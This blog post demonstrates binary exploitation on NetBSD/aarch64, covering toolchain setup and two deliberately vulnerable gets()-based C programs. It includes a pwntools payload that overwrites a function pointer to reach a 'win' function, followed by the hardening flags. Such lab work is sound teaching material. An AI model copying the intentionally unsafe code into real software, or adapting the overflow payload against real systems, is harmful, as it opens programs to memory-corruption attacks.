Pwning NetBSD-Aarch64 (ARM)

feyrer.de · jruohonen · 12 days ago · view on HN · research
quality 7/10 · good
0 net
hubertf's NetBSD blog hubertf's NetBSD Blog Send interesting links to hubert at feyrer dot de! [ 20260308 ] pwning NetBSD-aarch64 (ARM) For some time, I have ventured into low(er)level hacking & cybersecurity at OverTheWire and pwn.college . Today, a LOT of security & hacking is focussed on Linux/x86, but we all know there is more. More operating systems, and more CPUs. In the area of binary exploitation, I wondered if the basic tools for that work on NetBSD/aarch64 (ARM), and I had a look. Spoiler: they do! Here's an example of pwning on NetBSD/aarch64 (ARM). Preparation Step 0: Install NetBSD/aarch64 , e.g. in qemu. Setup the basics: su root -c pkg_add -v https://cdn.netbsd.org/pub/pkgsrc/packages/NetBSD/aarch64/11.0_2025Q4/All/pkgin-25.10.0.tgz su root -c "pkgin install sudo" sudo pkgin install bash Install pwntools & friends: sudo pkgin install python311 # not newer... pwntools... sudo pkgin install rust sudo pkgin install cmake pkg-config openssl sudo pkgin install gmake sudo pkgin install vim # for xxd, not the shoddy editor that comes with it When going for pwntools & friends, python 3.11 is the version of choice - newer versions of python are not supported there: python3.11 -m venv venv-pwn . ./venv-pwn/bin/activate pip install "capstone<6" pwntools # same as on macos with angr Install gef in its usual place, just in case: sudo mkdir -p /opt/gef sudo wget https://github.com/hugsy/gef/raw/main/gef.py -O /opt/gef/gef.py gdb - better colors etc. via .gdbinit (default gdb really looks bad on black terminals): (venv-pwn) qnetbsd$ cat ~/.gdbinit #set disassembly-flavor intel # disable on ARM :-) set follow-fork-mode child set style address foreground cyan set style function foreground cyan set style disassembler immediate foreground cyan pwn v1 First pwn attempt: #include #include void win(void) { printf("Goodbye, winner.\n"); exit(0); } void vuln(void) { char name[16]; printf("What is your name? "); gets(name); printf("Hello %s\n", name); return; } int main(void) { vuln(); return 0; } Due to differences between x86 and ARM, a simple buffer overflow to overwrite e.g. the return address cannot be done. On ARM, the return address of a function is not stored on the stack but in the X30 register. The crash observed when running this is due to random other values being overwritten. Let's build and see the security parameters: (venv-pwn) qemubsd$ gcc -ggdb win1.c -o win1 ld: /tmp//ccdWZtt2.o: in function `vuln': /home/feyrer/tmp/win1.c:15:(.text+0x34): warning: warning: this program uses gets(), which is unsafe. (venv-pwn) qemubsd$ pwn checksec win1 [!] Could not populate PLT: Failed to load the Unicorn dynamic library [*] '/home/feyrer/tmp/win1' Arch: aarch64-64-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x200100000) RWX: Has RWX segments Stripped: No Debuginfo: Yes Not that many security features on by default. What's going on, NetBSD?! Ignoring this for now, let's look at the assembly code: (venv-pwn) qnetbsd$ gdb -q -ex 'disas vuln' win1 Reading symbols from win1... Dump of assembler code for function vuln: 0x00000002001009f4 <+0>: stp x29, x30, [sp, #-32]! 0x00000002001009f8 <+4>: mov x29, sp 0x00000002001009fc <+8>: adrp x0, 0x200100000 0x0000000200100a00 <+12>: add x0, x0, #0xaf8 0x0000000200100a04 <+16>: bl 0x200100730 0x0000000200100a08 <+20>: add x0, sp, #0x10 0x0000000200100a0c <+24>: bl 0x200100790 0x0000000200100a10 <+28>: add x0, sp, #0x10 0x0000000200100a14 <+32>: mov x1, x0 0x0000000200100a18 <+36>: adrp x0, 0x200100000 0x0000000200100a1c <+40>: add x0, x0, #0xb10 0x0000000200100a20 <+44>: bl 0x200100730 0x0000000200100a24 <+48>: nop 0x0000000200100a28 <+52>: ldp x29, x30, [sp], #32 0x0000000200100a2c <+56>: ret End of assembler dump. (gdb) Note the STP and LDP instructions which save and restore the X29 (frame pointer) and X30 (return address) registers of the calling function (main). By overwriting them, main's "RET" will do funny things. While this can still be exploited, let's make things a bit easier in the next attempt. pwn v2 Here we add a function pointer "goodbye" that can be overwritten: #include #include void lose(void) { printf("Goodbye, loser.\n"); exit(0); } void win(void) { printf("Goodbye, winner.\n"); exit(0); } void vuln(void) { void (*goodbye)(void) = lose; char name[16]; printf("What is your name? "); gets(name); printf("Hello %s\n", name); goodbye(); return; } int main(void) { vuln(); return 0; } It's pretty obvious what's happening, but for the sake of completeness: (venv-pwn) qnetbsd$ echo huhu | ./win2 What is your name? Hello huhu Goodbye, loser. Let's look at the assembly output again: (venv-pwn) qnetbsd$ gdb -q -ex 'disas vuln' win2 Reading symbols from win2... Dump of assembler code for function vuln: 0x0000000200100a10 <+0>: stp x29, x30, [sp, #-48]! 0x0000000200100a14 <+4>: mov x29, sp 0x0000000200100a18 <+8>: adrp x0, 0x200100000 0x0000000200100a1c <+12>: add x0, x0, #0x9d8 0x0000000200100a20 <+16>: str x0, [sp, #40] 0x0000000200100a24 <+20>: adrp x0, 0x200100000 0x0000000200100a28 <+24>: add x0, x0, #0xb38 0x0000000200100a2c <+28>: bl 0x200100730 0x0000000200100a30 <+32>: add x0, sp, #0x18 0x0000000200100a34 <+36>: bl 0x200100790 0x0000000200100a38 <+40>: add x0, sp, #0x18 0x0000000200100a3c <+44>: mov x1, x0 0x0000000200100a40 <+48>: adrp x0, 0x200100000 0x0000000200100a44 <+52>: add x0, x0, #0xb50 0x0000000200100a48 <+56>: bl 0x200100730 => 0x0000000200100a4c <+60>: ldr x0, [sp, #40] <=== => 0x0000000200100a50 <+64>: blr x0 <=== 0x0000000200100a54 <+68>: nop 0x0000000200100a58 <+72>: ldp x29, x30, [sp], #48 0x0000000200100a5c <+76>: ret End of assembler dump. (gdb) Note the LDR and BLR instructions at 0x0000000200100a4c - The X0 register is loaded with our function pointer by LDR, and BLR does the actual call. By overwriting the pointer, we can call another function. Let's use pwn cyclic to find out what's actually in x0 at the time of the BLR call: (venv-pwn) qnetbsd$ pwn cyclic 100 >c (venv-pwn) qnetbsd$ gdb -q -ex 'set pagination off' -ex 'b *0x0000000200100a50' -ex 'run The function pointer is 16 bytes from the start of our name buffer, and we have the address of the win function. So let's construct our input: (venv-pwn) qnetbsd$ python3 -c 'from pwn import * ; p = b"A" * 16 + p64(0x2001009f4); sys.stdout.buffer.write(p)' | xxd 00000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 00000010: f409 1000 0200 0000 ........ Looks good, so call it: (venv-pwn) qnetbsd$ python3 -c 'from pwn import * ; p = b"A" * 16 + p64(0x2001009f4); sys.stdout.buffer.write(p)' | ./win2 What is your name? Hello AAAAAAAAAAAAAAAA Goodbye, winner. (venv-pwn) qnetbsd$ uname -a NetBSD qnetbsd 11.0_RC2 NetBSD 11.0_RC2 (GENERIC64) #0: Wed Mar 4 21:02:00 UTC 2026 [email protected]:/usr/src/sys/arch/evbarm/compile/GENERIC64 evbarm Success Voila, ARM pwnage on NetBSD! :-) Summary: (venv-pwn) qnetbsd$ echo huhu | ./win2 What is your name? Hello huhu Goodbye, loser. (venv-pwn) qnetbsd$ python3 -c 'from pwn import * ; p = b"A" * 16 + p64(0x2001009f4); sys.stdout.buffer.write(p)' | ./win2 What is your name? Hello AAAAAAAAAAAAAAAA� Goodbye, winner. (venv-pwn) qnetbsd$ uname -a NetBSD qnetbsd 11.0_RC2 NetBSD 11.0_RC2 (GENERIC64) #0: Wed Mar 4 21:02:00 UTC 2026 [email protected]:/usr/src/sys/arch/evbarm/compile/GENERIC64 evbarm I'm positively impressed by the whole toolchain working as expected, given that e.g. pwntools starts compiling rust when installing. Well done, NetBSD! On security & compiler flags Of course you can enable all the security flags shown above, with the proper gcc flags: (venv-pwn) qemubsd$ gcc -ggdb -fstack-protector-all -fpie -pie -Wl,-z,relro,-z,now win1.c -o win1-prot ld: /tmp//ccE3ncle.o: in function `vuln': /home/feyrer/tmp/win1.c:15:(.text+0x64): warning: warning: this program uses gets(), which is unsafe. (venv-pwn) qemubsd$ pwn checksec win1-prot [!] Could not populate PLT: Failed to load the Unicorn dynamic library [*] '/home/feyrer/tmp/win1-prot' Arch: aarch64-64-little RELRO: Full RELRO Stack: Canary found NX: NX disabled PIE: PIE enabled RWX: Has RWX segments Stripped: No Debuginfo: Yes Exploiting this binary is left as an exercise to the reader. [Tags: aarch64 , amd , binaryexploit , ctf , gdb , netbsd , pwn , pwntools ] Disclaimer: All opinion expressed here is purely my own. No responsibility is taken for anything. Access count: 38426788 Copyright (c) Hubert Feyrer